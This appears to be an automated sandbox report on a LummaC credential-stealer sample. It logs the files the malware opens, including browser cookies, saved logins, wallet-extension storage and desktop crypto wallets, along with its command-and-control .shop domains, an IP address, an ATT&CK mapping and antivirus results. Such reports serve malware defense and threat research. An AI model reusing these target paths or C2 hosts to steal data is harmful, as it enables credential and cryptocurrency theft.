Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Directory queried: C:\Users\user\Documents\DTBZGIOOSO

Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	11 Input Capture	141 Security Software Discovery	Remote Desktop Protocol	11 Input Capture	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Archive Collected Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	31 Data from Local System	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	46%	Virustotal		Browse
SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	100%	Avira	HEUR/AGEN.1314931
SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
pearcyworkeronej.shop	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
zippyfinickysofwps.shop	0%	Avira URL Cloud	safe
acceptabledcooeprs.shop	0%	Avira URL Cloud	safe
plaintediousidowsko.shop	0%	Avira URL Cloud	safe
pearcyworkeronej.shop	0%	Avira URL Cloud	safe
https://pearcyworkeronej.shop/apibu4	0%	Avira URL Cloud	safe
boredimperissvieos.shop	0%	Avira URL Cloud	safe
obsceneclassyjuwks.shop	0%	Avira URL Cloud	safe
plaintediousidowsko.shop	1%	Virustotal		Browse
zippyfinickysofwps.shop	1%	Virustotal		Browse
https://pearcyworkeronej.shop/	0%	Avira URL Cloud	safe
https://pearcyworkeronej.shop:443/api	0%	Avira URL Cloud	safe
sweetsquarediaslw.shop	0%	Avira URL Cloud	safe
https://pearcyworkeronej.shop:443/api	2%	Virustotal		Browse
holicisticscrarws.shop	0%	Avira URL Cloud	safe
https://pearcyworkeronej.shop/s	0%	Avira URL Cloud	safe
obsceneclassyjuwks.shop	1%	Virustotal		Browse
miniaturefinerninewjs.shop	0%	Avira URL Cloud	safe
https://pearcyworkeronej.shop/	1%	Virustotal		Browse
holicisticscrarws.shop	1%	Virustotal		Browse
https://pearcyworkeronej.shop/api	0%	Avira URL Cloud	safe
pearcyworkeronej.shop	1%	Virustotal		Browse
miniaturefinerninewjs.shop	1%	Virustotal		Browse
https://pearcyworkeronej.shop/api	2%	Virustotal		Browse
acceptabledcooeprs.shop	1%	Virustotal		Browse
sweetsquarediaslw.shop	11%	Virustotal		Browse
boredimperissvieos.shop	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pearcyworkeronej.shop	172.67.131.204	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
plaintediousidowsko.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
acceptabledcooeprs.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
zippyfinickysofwps.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
pearcyworkeronej.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
boredimperissvieos.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
obsceneclassyjuwks.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
sweetsquarediaslw.shop	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
holicisticscrarws.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
miniaturefinerninewjs.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pearcyworkeronej.shop/api	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pearcyworkeronej.shop/apibu4	RegAsm.exe, 00000001.00000002.1734058125.0000000000EED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pearcyworkeronej.shop/	RegAsm.exe, 00000001.00000002.1733951463.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1733684610.0000000000E75000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pearcyworkeronej.shop:443/api	RegAsm.exe, 00000001.00000002.1733951463.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pearcyworkeronej.shop/s	RegAsm.exe, 00000001.00000002.1734058125.0000000000EED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.131.204	pearcyworkeronej.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1436373
Start date and time:	2024-05-04 22:22:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 29 Number of non-executed functions: 63
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:22:49	API Interceptor	7x Sleep call for process: RegAsm.exe modified

QR Codes

Source	URL
Screenshot	http://<UNKNOWNECI:015160>System.Byte[]</UNKNOWNECI>
Screenshot	http://<UNKNOWNECI:015160>System.Byte[]</UNKNOWNECI>
Screenshot	http://<UNKNOWNECI:015160>System.Byte[]</UNKNOWNECI>

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.131.204	Ez76m3j18V.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pearcyworkeronej.shop	Ez76m3j18V.exe	Get hash	malicious	LummaC	Browse	172.67.131.204

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Trojan.NSIS.Agent.20411.3944.exe	Get hash	malicious	LummaC	Browse	104.21.39.216
	SecuriteInfo.com.Trojan.MulDrop9.4697.30323.11244.exe	Get hash	malicious	Unknown	Browse	162.159.36.2
	7Ql51TchBG.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.169.18
